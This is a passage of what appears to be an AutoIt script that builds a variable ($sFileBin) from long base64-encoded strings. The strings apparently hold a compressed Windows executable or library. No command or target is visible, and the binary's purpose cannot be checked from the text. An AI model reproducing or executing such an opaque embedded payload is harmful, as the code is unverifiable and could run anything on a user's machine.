BehLgCihAQYYg/j/AKGBdutwVgiNTfAFPP8VEHAAAxCFwHVngz2BAR4Cddr/FRwACUCD+Hh1z4kCKFZAVmoFjUX0gGyNAEUIUFb/FShxlAMQgByIABOLDYIuAPn/dKJWjVXwhFJQARRR/xUkABEghcB0jWaAmotNAPwzzV7ohl7/YP/Jw8cFASkATQAE6+MFMVNWi3UMAQBZ83QVOV0QdCAQOB51EsANO8Ng' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= 'J9lmDxTJAIHCEHYcAPIPIBDgg+I/ABwtABEAHI0F0ADtweIFIAPCZg9ZAENcwymAFw04gyHjgCd4CFUAHsAAG9wACOIAEugIZg9cABYoNeDYVQIu/IAL3IMLWYATXJbagA0BHssAHlgYgEqq0wAG+gAU1AAQ8IADBQEW0AEWZg9YLfDlAyIggAU10IAFASQANtGAQlhYCAAMzwAGgDBSWABFWPWAKGgAClzW6wE5AApIARfyAAQAGVRY34ABzYABy4ABzpBmDxX2gQOD7IAuAFjhZg8TZCQEAt0AqoPEEMN/K2EHrQ/EwAMAEgGqYBMDegBVE0wHC+kW6ID//41JAIv/QGsCVsB3UIvx6ChvIP//xwaIAAyLxoBeXcIEAMcBAQNM6d3ABQMKi/HDB+gCyoAE9kUIAXQHgFboVD7//1lEDAGDCVeLfQiLRwQAhcB0R41QCIAAOgB0P4t1DIsATgQ7wXQUg8FSCACSN10ADVlACAQAM8DrJPYGAnRABfYHCHTygZ0AhKgBQQMBdOSoggUAAnTbM8BAX14EXcOCF4tFCIsAAIsAPU1PQ+B0ABg9Y3Nt4HUrAOgYWf//g6CQkUCaAOnzQCfoBwEEArgCBH4M6PlY/wT/BQED/wgzwF1Aw2oQaLjmwDFgAnCANn0Qi10IgQh/BICAB38GD74AcwjrA4tzCIkQdeTowoYNAINlAPwAO3UUdGWDAP7/fgU7dwR8CAXo1kFGxsHgAwCLTwgDyIsxiSB14MdF/ICzAIMAeQQAdBWJcwgUaAOAA1PAB/90ATAE6FALgAYAEusaQP917Ogt/wBBwxiLZeiBBIMhi3XgKcAd65aAEf5AB+gZY8ASQR0F6GrAGsAT6IrywAHDQgrk6COAJwXHOBXHOMOLAIE4AUJGOIN4EAN1MgCLSBSB+SAFk0AZdBCB+SHhAAgIgfki4AB1F4N4ABwAdRHo11f/AP8zyUGJiAwCAAAAi8HDM8DDUGoIaOChJDrBHE2ACIXJdCqBOaIKECKLQRyANxuLQAWhPBThF1D/cRjoLIvmQEhEF0kBFTPAQDhFDA+VwKEc6CBbbv//zGM4TQwAiwFWi3UIA8YBISV8EItRBItJAAiLNDKLDA4DCMoDwYU9g+wMhSD/dQrobEAH6BsBgACDZfgAgz8AAMZF/wB+U1NWAYFBQByLQAyLGACNcASF234zi2BF+MHgBECaIBb/IHEciwZQQFEDRSD0UOhf/cAHxAyAhcB1CkuDxoAFEH/c6wQACQH/RQL4oAY7B3yxXlsAikX/ycNqBLgE6V0AHysQAADoNL5WgSyUgSzAMONtIWEQ/ADoxwEBTfzI/+iFAAHomYAEAA5AagBqAImIYQXoAiLAAsxqLGhY5wUACfiAAYvZi30MAUAeiV3kg2XMAACLR/yJRdz/doAYjUXEUOgB4HGAWVmJRdjoTyEJBICIQAiJRdToQUWiAYyiAdDoM6ABiRKwYQPoKAIOEImIB2EDARJAZIlFEIlFAPz/dRz/dRhTQP91FFfoT8AKgw7EwLhADqBOb4tF7Mzo4cAgwjHlVUFmwT2QAIt1FIATgX5mYAJPYWBPCIteEIMAZeAAi0XgO0YADHMYa8AUA8MAi1AEO8p+QDsASAh/O4tGCIsATNAIUVZqAFfY6Kf8gQ0ABuQCEkAdWURBx0XgKGAWFCENRQjk6C+gIcP/ReAE66cjIotF3IlHIeAW2OhN58Ag6ExBABOLTdSJiCIdPiWiAdAjHYE+4k9Cg4J+oFo8i0YUPYJaJA49YloHPUJaJIMAfcwAdR6DfeTIAHQYICzoz8BSgY2AC/91EFboJQAggFlZw2oMaIBhM0RcbABf0olVQt5IEWAbD4RYYHY4UQgID4RPAAGLSAg7EMp1DPdBGIAPhA48QQKAG+BIeASNdAAxDIlV/DPbQyBTqAh0QeCe/3dAGOgqDgAAgZsPhITyYAZTVugZBgLC4UEgRxiJBoDrIaEYUOjsoCYgPwbpywlBA30UIFr/cBiEQB90SOjiDcUGqlXjCNEGApnBfHeEBVYI6FjPQluDfxQEKA+FggEJBsAdfIMAxwhX65w5VxiQdTjolbQDdGGABDqIxQBUQARRAoME6F8hwghQVugHAwXrOVToXaUCKXADUMUAHA1xDkLRAMAAD/YHBBhqAFhgPiAo5OsFmOi+amZA8B7rDrApBRInWnABM8DoL2vr8B/ARaDhF90wAZAX4xWAdAWLXQzrCiAXgItVDI1cEQyDJBAUVlD/AGR9CFcM6EZABUAmSHQfSAB1NGoBjUYIUBmhCKb7ggvAHlPoBqDi///rGJUBjJgBdOzh50mqcAfgSYMJwQJplUmDfRgAdBDBATRW/3UI6FA2Mi0IfSAA4AB1A1brQAP/dSDoqoAE/yY3IDYCJa75IAxHBCxoAKAh0DdAcAGJRlIIEQtLDFIE9TAIgwTEKKASB1ZQ6DQTwAPkTVFRQVCBPgOFoiXaIBBX6E5S8UZTgThwc+hA0ACN0gDoAOBP//85B3QrhIE+om8j/3UksAhHoApzCPAGVujOsAWDIsSwWQ+Fi/IkGIOAfwwAdQXoKxAOAIt1HI1F+FCNCEX8UGAJIFfoFhbjQAGwT/wwQjtF+IBzW1M7N3xHsG0Af0KLRwyLTxBBkFQDwYtI9KBfBgCAeQgAdSqNWMDw9gNAdSLABzAwjVAEaiAPFggI6LfAFaNwBjAI/0X8kQXHkQVAcqdbX17JJV0sAeBfU4tdGItDBLI9kQ1WV+FcYUdJYUcASQiD+f+JTfiQfAQ7yEB2cWgRBQQIv4E/OT4PhbqLAEvhP7uRPw+FGPE4QEYUO8N0EkNACxFCQA+F/4FRfhwAyA+F9dET91BhFRFFkAAPhLUwBOjlEAFqi9JUiYAL19EAklZqxAFWkFToZAqzLsATRO5nkBc+dSZSRyBb0wYrRwuRBpACxJAC6MaMogYTY3zofoEF0gAM6HOgAEASM/aJsAXyABmAI1mEwHVPQDPbOR9+HTAkiwBMAwRo5BAEECDoOTX//6ABDUaIg8MQUBnj6B2gBSRqATEWZPghLWiQAaGuTdToN/b//wRovLA0jUXUUOg0qmbrEojwEXELD4U2fp8SkxJlgQGTIg+Gor+ACY1F5FAi8EA3MvhyIu7gYmShIvA7IEXkD4OXklz4ORAHD4+BEYpHBH9ofItH0Gf0cCNAw4UgwH5si0ZxeY1YFASLsGvsEAEj/3YoHIsDQAX0UMbo0QL11Xga/03sg8MABDlF7H/d/00Q6INF9PA26AB/yL7rKFEmXfQwCGJ6jHXgpiZgMwzoS9BKa6AOsibwgCbpQKXgnBhAgH0cAHQKYBzoRDr3kRKAff9QIK4pMQsHJSACH+IPD4ICnBEBfxyF/w+E0pFhKOiJ4QKEsDMhVKjoxU6wHMBBALtAAIV0d7CgAIN9JAC2dxhWdQWQN2FBJOiTYt0BCRhq/+A1UAoMlOiUQg4QgA/oqLAFgTAvg3sMAHYmEQrYD4UpgUhEPPgBe1U8YuDyQiDoQ8EGpodowGX//19eW2Q0gUUZQLvjY0y7wgFTVlfM6AbCA+N9RRjAiSIhCr7xD7syKyCLETtA13QagfomkVcSAIsQI9Y703IKgPZAIAEPhZNgAwD2QQRmdCODeBoEEDOD0TRQC3V9aib/IBzSDbb00g3rakyDeDBGAgSB+qEVcgJYQaV0Ujk5dTIAg3kQA3IsOVkAFHYni1Eci1IACIXSdB0PtnUeJCFI0FLDBHEPUf/SOUAP6x9zAYARqAHowTMjEYLAW10Z5yJFBFPAUYtFDIPAwCdQRwwIVWADEBqLbfzoAFm1//9WV//QIF9ei91dMAFVi4jrgfmRWnUFubERCFHoNxACXVlbyRjCDAD0BAHMM8CDAMn/8q6DwQH3ANmD7wGKRQz9IdAAxwE4BzLLAosIx/xfFk0ooVgAMAQQM8XQBzCpdQgCV/EHfQyNTdzoBJExAFxF3FAz20JTAABXjUXY' $sFileBin &= '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